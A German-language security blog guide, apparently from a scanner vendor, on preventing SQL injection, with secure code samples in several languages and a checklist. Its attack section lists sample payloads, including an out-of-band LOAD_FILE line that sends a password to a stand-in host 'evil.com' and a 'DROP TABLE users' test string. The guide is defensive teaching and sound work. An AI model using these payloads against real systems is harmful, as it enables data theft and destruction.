Sécurité

SQL-Injection verhindern: Leitfaden für KMU

SQL-Injection verhindern: Angriffstypen, Erkennung und Schutz mit Prepared Statements, ORM und WAF. Praxisleitfaden.

18 mars 20263 min de lectureWarDek Team

SQL-Injection verhindern: Der vollständige Leitfaden

SQL-Injection (SQLi) gehört zu den ältesten und gefährlichsten Webangriffen — und ist auch 2025 noch in den OWASP Top 10. Bei einer SQL-Injection manipuliert ein Angreifer Datenbankabfragen, indem er schädlichen SQL-Code über Eingabefelder einschleust. Die Folgen reichen von Datenverlust bis zur vollständigen Übernahme des Systems.

Was ist SQL-Injection?

Das Grundprinzip

Unsicherer Code baut SQL-Abfragen durch String-Verkettung:

-- Unsicher: Benutzereingabe wird direkt eingebaut
SELECT * FROM users WHERE username = 'admin' AND passwd = 'eingabe'

Ein Angreifer gibt als Passwort ein: ' OR '1'='1

-- Resultierende Abfrage:
SELECT * FROM users WHERE username = 'admin' AND passwd = '' OR '1'='1'
-- → Gibt ALLE Benutzer zurück (Authentifizierung umgangen)

Die 5 SQLi-Typen

1. Classic (In-Band) SQLi

Der Angreifer sieht das Ergebnis direkt in der Antwort:

https://shop.de/produkt?id=1 UNION SELECT username, passwd FROM users--

2. Blind SQLi (Boolean-based)

Keine direkte Ausgabe — der Angreifer schließt aus dem Verhalten der Anwendung (Seite lädt / lädt nicht):

https://shop.de/produkt?id=1 AND SUBSTRING(username,1,1)='a'--

3. Time-based Blind SQLi

Der Angreifer misst Antwortzeiten:

https://shop.de/produkt?id=1; IF(1=1) WAITFOR DELAY '00:00:05'--

4. Error-based SQLi

Ausnutzung von Fehlermeldungen, die Datenbankinformationen preisgeben:

https://shop.de/produkt?id=1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))

5. Out-of-Band SQLi

Datenexfiltration über DNS oder HTTP-Anfragen:

SELECT LOAD_FILE(CONCAT('\\\\',  (SELECT passwd FROM users LIMIT 1), '.evil.com\\'))

Auswirkungen

| Schweregrad | Beispiel | |---|---| | Datenleck | Alle Kundendaten, Passwörter, Kreditkarten extrahiert | | Authentifizierung umgangen | Admin-Zugang ohne Passwort | | Daten manipuliert | Preise geändert, Konten manipuliert | | Daten gelöscht | DROP TABLE löscht komplette Tabellen | | Systemübernahme | Remote Code Execution über Datenbankfunktionen | | DSGVO-Verstoß | Meldepflichtiger Datenschutzvorfall |

Schutzmaßnahme 1: Prepared Statements (Parameterisierte Abfragen)

Die wichtigste Schutzmaßnahme. Der SQL-Code und die Daten werden getrennt verarbeitet — eine Injection ist strukturell unmöglich.

Node.js (pg-Bibliothek)

// UNSICHER — nie verwenden
const query = `SELECT * FROM users WHERE id = ${userId}`

// SICHER — Prepared Statement
const result = await client.query(
  'SELECT * FROM users WHERE id = $1',
  [userId]
)

Python (psycopg2)

# UNSICHER
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")

# SICHER
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

PHP (PDO)

// UNSICHER
$stmt = $pdo->query("SELECT * FROM users WHERE id = $id");

// SICHER
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);

Java (JDBC)

// UNSICHER
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE id = " + userId);

// SICHER
PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
pstmt.setInt(1, userId);
ResultSet rs = pstmt.executeQuery();

Schutzmaßnahme 2: ORM verwenden

Object-Relational Mapper (ORM) generieren parameterisierte Abfragen automatisch:

Prisma (TypeScript)

// Automatisch sicher — Prisma parameterisiert intern
const user = await prisma.user.findUnique({
  where: { id: userId },
})

Drizzle ORM

const users = await db.select()
  .from(usersTable)
  .where(eq(usersTable.id, userId))

Vorsicht bei Raw Queries: Auch in ORMs gibt es Funktionen für rohe SQL-Abfragen. Diese müssen ebenfalls parameterisiert werden:

// Prisma — Raw Query SICHER
const result = await prisma.$queryRaw`
  SELECT * FROM users WHERE id = ${userId}
`
// Tagged Template Literals werden automatisch parameterisiert

Schutzmaßnahme 3: Input-Validierung

Zusätzliche Schutzschicht — nicht allein ausreichend, aber wertvoll:

import { z } from 'zod'

const productIdSchema = z.coerce.number().int().positive()

// Validierung vor der Datenbankabfrage
const productId = productIdSchema.parse(req.params.id)
// Ungültige Eingaben werden hier bereits abgefangen

Whitelist statt Blacklist

| Ansatz | Beispiel | Bewertung | |---|---|---| | Blacklist (schlecht) | Blockiere ', ", --, ; | Leicht zu umgehen | | Whitelist (gut) | Nur Ziffern für IDs erlauben | Strukturell sicherer | | Typ-Validierung (am besten) | Zod/Schema erzwingt korrekten Typ | Keine Interpretation nötig |

Schutzmaßnahme 4: Least Privilege

Der Datenbankbenutzer Ihrer Anwendung sollte minimale Rechte haben:

-- Eigener Benutzer für die Anwendung
CREATE USER app_user WITH PASSWD 'secure_passwd';

-- Nur die nötigen Rechte
GRANT SELECT, INSERT, UPDATE ON users TO app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON orders TO app_user;

-- KEIN DROP, CREATE, ALTER, GRANT

Getrennte Benutzer für verschiedene Funktionen

| Benutzer | Rechte | Einsatz | |---|---|---| | app_read | SELECT | Leseoperationen | | app_write | SELECT, INSERT, UPDATE | Schreiboperationen | | app_admin | Volle Rechte (nur für Migrationen) | Deployment-Pipeline |

Schutzmaßnahme 5: Web Application Firewall (WAF)

Eine WAF erkennt und blockiert typische SQLi-Muster auf Netzwerkebene:

| WAF | Typ | Kosten | |---|---|---| | ModSecurity | Open Source (OWASP CRS) | Kostenlos | | Cloudflare WAF | Cloud-basiert | Ab 20 USD/Monat | | AWS WAF | Cloud-basiert | Nutzungsabhängig |

Wichtig: Eine WAF ist eine zusätzliche Schutzschicht, kein Ersatz für Prepared Statements.

SQLi erkennen und testen

Automatisierte Tools

| Tool | Funktion | Kosten | |---|---|---| | sqlmap | Automatischer SQLi-Test und -Exploitation | Kostenlos | | OWASP ZAP | Allgemeiner Web-Scanner mit SQLi-Detection | Kostenlos | | Burp Suite | Proxy + Scanner | Community: kostenlos | | WarDek | Automatisierter Sicherheitsscan | Kostenlos (Basic) |

Manuelle Tests

Typische Teststrings für Eingabefelder:

' OR '1'='1
1; DROP TABLE users--
1 UNION SELECT null, null, null--
' AND SLEEP(5)--

Nur auf eigenen Systemen testen! SQLi-Tests auf fremden Systemen sind strafbar (§ 202a StGB).

Checkliste: SQL-Injection-Schutz

  1. ☐ Alle Datenbankabfragen verwenden Prepared Statements
  2. ☐ ORM korrekt eingesetzt (keine unsicheren Raw Queries)
  3. ☐ Input-Validierung mit Zod/Schema (Whitelist)
  4. ☐ Datenbankbenutzer mit minimalen Rechten
  5. ☐ Fehlermeldungen in Produktion generisch (keine DB-Details)
  6. ☐ WAF als zusätzliche Schutzschicht
  7. ☐ Regelmäßige SQLi-Scans (monatlich)
  8. ☐ Code-Reviews mit Fokus auf Datenbankabfragen

Fazit

SQL-Injection ist ein gelöstes Problem — Prepared Statements verhindern sie vollständig. Dennoch taucht SQLi regelmäßig auf, weil Entwickler Abkürzungen nehmen oder Legacy-Code nicht modernisiert wird. Die Regel ist einfach: Nie Benutzereingaben direkt in SQL-Strings einbauen. Punkt.


Scannen Sie Ihre Website kostenlos mit WarDek — OWASP, NIS2, DSGVO, AI Act Compliance in einem Scan.

#SQL-Injection#Datenbanksicherheit#OWASP#Web-Sicherheit

Scannez votre site gratuitement

WarDek détecte les vulnérabilités mentionnées dans cet article en quelques secondes.

Retour à Sécurité